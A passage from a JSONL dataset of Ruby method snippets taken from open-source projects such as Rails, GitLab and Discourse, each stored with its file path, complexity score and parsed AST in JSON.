\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"ffec2282-9ff9-4389-97fc-85b1e1dd7dc9"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/template_path_test.rb","start_line":58,"raw_source":"def test_parse_partial\n path = ActionView::TemplatePath.parse(\"foo/_bar\")\n assert_equal \"foo\", path.prefix\n assert_equal \"bar\", path.name\n assert_predicate path, :partial?\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_partial\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"TemplatePath\"]},\"parse\",{\"type\":\"str\",\"children\":[\"foo/_bar\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"prefix\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"sym\",\"children\":[\"partial?\"]}]}]}]}","id":"e2ad93c1-8260-400a-812b-84f8f4c45952"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_queue.rb","start_line":19,"raw_source":"def drop_jobs!(search_metadata, timeout:)\n start_time = monotonic_time\n completed = true\n deleted_jobs = 0\n\n job_search_metadata =\n search_metadata\n .stringify_keys\n .slice(*ALLOWED_KEYS)\n .transform_keys(&method(:transform_key))\n .compact\n\n raise NoMetadataError if job_search_metadata.empty?\n raise InvalidQueueError if sidekiq_queues.values.compact.empty?\n\n Gitlab::Redis::Queues.instances.map do |key, instance|\n queue = sidekiq_queues[key]\n next if queue.nil?\n\n Sidekiq::Client.via(instance.sidekiq_redis) do\n queue.each do |job|\n if timeout_exceeded?(start_time, timeout)\n completed = false\n break\n end\n\n next unless job_matches?(job, job_search_metadata)\n\n job.delete\n deleted_jobs += 1\n end\n end\n end\n\n {\n completed: completed,\n deleted_jobs: deleted_jobs,\n queue_size: queue_size\n }\n end","complexity_score":52.83,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_jobs!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"search_metadata\"]},{\"type\":\"kwarg\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[null,\"monotonic_time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"completed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_jobs\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"job_search_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_metadata\"]},\"stringify_keys\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_KEYS\"]}]}]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"transform_key\"]}]}]}]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_search_metadata\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoMetadataError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sidekiq_queues\"]},\"values\"]},\"compact\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidQueueError\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Queues\"]},\"instances\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queue\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sidekiq_queues\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Client\"]},\"via\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"sidekiq_redis\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timeout_exceeded?\",{\"type\":\"lvar\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"completed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_matches?\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job_search_metadata\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"delete\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deleted_jobs\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"completed\"]},{\"type\":\"lvar\",\"children\":[\"completed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_jobs\"]},{\"type\":\"lvar\",\"children\":[\"deleted_jobs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_size\"]},{\"type\":\"send\",\"children\":[null,\"queue_size\"]}]}]}]}]}","id":"5f90ca1e-433a-4864-8886-9ed62723917e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/result_matchers.rb","start_line":62,"raw_source":"def ok?\n ok_or_err == :ok\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ok?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ok_or_err\"]},\"==\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}","id":"533c4068-cb41-4152-8cc9-fb3194a2e3f6"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":374,"raw_source":"def test_form_tag_hidden_helpers_omit_autocomplete_by_default\n ActionView::Base.with(remove_hidden_field_autocomplete: true) do\n actual = form_tag({}, { method: :patch })\n expected = whole_form(\"http://www.example.com\", method: :patch, no_autocomplete: true)\n assert_dom_equal expected, actual\n end\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_tag_hidden_helpers_omit_autocomplete_by_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_hidden_field_autocomplete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"form_tag\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"http://www.example.com\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_autocomplete\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}]}","id":"e56abe03-4710-4006-b276-140605738299"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/runner_test.rb","start_line":34,"raw_source":"def test_rails_runner_with_file_path_that_does_not_exist\n command_output = run_runner_command(\"no-file-here.rb\", allow_failure: true)\n\n assert_match(/The file no-file-here.rb could not be found/, command_output)\n assert_equal 1, $?.exitstatus\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rails_runner_with_file_path_that_does_not_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command_output\",{\"type\":\"send\",\"children\":[null,\"run_runner_command\",{\"type\":\"str\",\"children\":[\"no-file-here.rb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_failure\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"The file no-file-here.rb could not be found\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"command_output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$?\"]},\"exitstatus\"]}]}]}]}","id":"9c080be2-6ae5-4eb0-ae9d-926bb27a7ffe"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/profile_images_controller.rb","start_line":13,"raw_source":"def profile_image_owner\n user || organization\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"profile_image_owner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"organization\"]}]}]}","id":"2abd520e-7904-4b70-bd54-2910e4d4392d"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/oneboxer.rb","start_line":99,"raw_source":"def self.cached_onebox(url)\n if c = Discourse.cache.read(onebox_cache_key(url))\n c[:onebox]\n end\n rescue => e\n invalidate(url)\n Rails.logger.warn(\"invalid cached onebox for #{url} #{e}\")\n \"\"\n end","complexity_score":12.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cached_onebox\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"onebox_cache_key\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"onebox\"]}]},null]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalidate\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"invalid cached onebox for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]}]}","id":"ee97ce49-6c68-4235-aa05-5a9c4c35efe4"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/lib/open_project/openid_connect/session_mapper.rb","start_line":86,"raw_source":"def expire!\n if session_link\n Rails.logger.debug { \"Expiring user session for OIDC sid #{oidc_session} due to backchannel request.\" }\n remove_linked_session!\n else\n Rails.logger.debug { \"No session link found for #{oidc_session}.\" }\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expire!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_link\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expiring user session for OIDC sid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oidc_session\"]}]},{\"type\":\"str\",\"children\":[\" due to backchannel request.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_linked_session!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No session link found for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oidc_session\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}","id":"4af82efe-2415-420e-bc01-bd31063fa887"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":1313,"raw_source":"def test_preload_with_some_records_already_loaded\n bob_post = posts(:misc_by_bob)\n mary_post = posts(:misc_by_mary)\n bob = bob_post.author\n mary = authors(:mary)\n\n assert_predicate bob_post.association(:author), :loaded?\n assert_not mary_post.association(:author).loaded?\n\n assert_queries_count(1) do\n ActiveRecord::Associations::Preloader.new(records: [bob_post, mary_post], associations: :author).call\n end\n\n assert_no_queries do\n assert_same bob, bob_post.author\n assert_equal mary, mary_post.author\n end\n end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_with_some_records_already_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bob_post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"misc_by_bob\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mary_post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"misc_by_mary\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bob\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bob_post\"]},\"author\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mary\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"mary\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bob_post\"]},\"association\",{\"type\":\"sym\",\"children\":[\"author\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mary_post\"]},\"association\",{\"type\":\"sym\",\"children\":[\"author\"]}]},\"loaded?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bob_post\"]},{\"type\":\"lvar\",\"children\":[\"mary_post\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"sym\",\"children\":[\"author\"]}]}]}]},\"call\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"bob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bob_post\"]},\"author\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"mary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mary_post\"]},\"author\"]}]}]}]}]}]}","id":"8182bacf-44e1-44e4-a3dd-cd71cfcc402a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/milestones_finder.rb","start_line":87,"raw_source":"def order(items)\n sort_by = params[:sort].presence || :due_date_asc\n\n if sort_by_expired_last?(sort_by)\n items.sort_with_expired_last(sort_by)\n else\n items.sort_by_attribute(sort_by)\n end\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"order\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sort_by\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},\"presence\"]},{\"type\":\"sym\",\"children\":[\"due_date_asc\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_by_expired_last?\",{\"type\":\"lvar\",\"children\":[\"sort_by\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"sort_with_expired_last\",{\"type\":\"lvar\",\"children\":[\"sort_by\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"sort_by_attribute\",{\"type\":\"lvar\",\"children\":[\"sort_by\"]}]}]}]}]}","id":"ee0edac5-1db8-4110-adc7-79bda05ce3f2"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/test/log.rb","start_line":40,"raw_source":"def puts(*args)\n args.each{ |arg| write(arg + \"\\n\") }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"puts\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"015ffbae-7aac-4a99-9f00-c82a038fa558"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/assignment_mixin.rb","start_line":258,"raw_source":"def build_tag_tagging_path(obj, klass)\n unless obj.kind_of?(ActiveRecord::Base) # obj is the id of a classification entry instance\n id = obj\n obj = Classification.find_by(:id => id)\n if obj.nil?\n _log.warn(\"Unable to find classification with id [#{id}], skipping assignment\")\n return nil\n end\n end\n \"#{klass.underscore}/tag#{obj.ns}/#{obj.parent.name}/#{obj.name}\"\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_tag_tagging_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Classification\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to find classification with id [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"], skipping assignment\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\"/tag\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"ns\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"parent\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]}]}]}]}","id":"06cb3e28-9336-437a-9fbd-2a4ef61ac9f8"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":1275,"raw_source":"def test_purges_current_environment_database\n old_configurations = ActiveRecord::Base.configurations\n configurations = {\n \"development\" => { \"adapter\" => \"abstract\", \"database\" => \"dev-db\" },\n \"test\" => { \"adapter\" => \"abstract\", \"database\" => \"test-db\" },\n \"production\" => { \"adapter\" => \"abstract\", \"database\" => \"prod-db\" },\n }\n\n ActiveRecord::Base.configurations = configurations\n\n assert_called_with(\n ActiveRecord::Tasks::DatabaseTasks,\n :purge,\n [ActiveRecord::Base.configurations.configs_for(env_name: \"production\", name: \"primary\")]\n ) do\n assert_called_with(ActiveRecord::Base, :establish_connection, [:production]) do\n ActiveRecord::Tasks::DatabaseTasks.purge_current(\"production\")\n end\n end\n ensure\n ActiveRecord::Base.configurations = old_configurations\n end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_purges_current_environment_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_configurations\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]}]},{\"type\":\"lvasgn\",\"children\":[\"configurations\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"dev-db\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"test-db\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"production\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"prod-db\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"lvar\",\"children\":[\"configurations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},{\"type\":\"sym\",\"children\":[\"purge\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"production\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"production\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"purge_current\",{\"type\":\"str\",\"children\":[\"production\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"lvar\",\"children\":[\"old_configurations\"]}]}]}]}","id":"73af0601-0a31-44ae-b54f-6bdcb9d8a3b9"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/structured_output.rb","start_line":48,"raw_source":"def read_buffered_property(prop_name)\n if @partial_json_tracker.broken?\n if @done\n return nil if @type_map[prop_name.to_sym].nil?\n return(\n DiscourseAi::Utils::BestEffortJsonParser.extract_key(\n @raw_response,\n @type_map[prop_name.to_sym],\n prop_name,\n )\n )\n else\n return nil\n end\n end\n\n # Maybe we haven't read that part of the JSON yet.\n return nil if @tracked[prop_name].nil?\n\n # This means this property is a string and 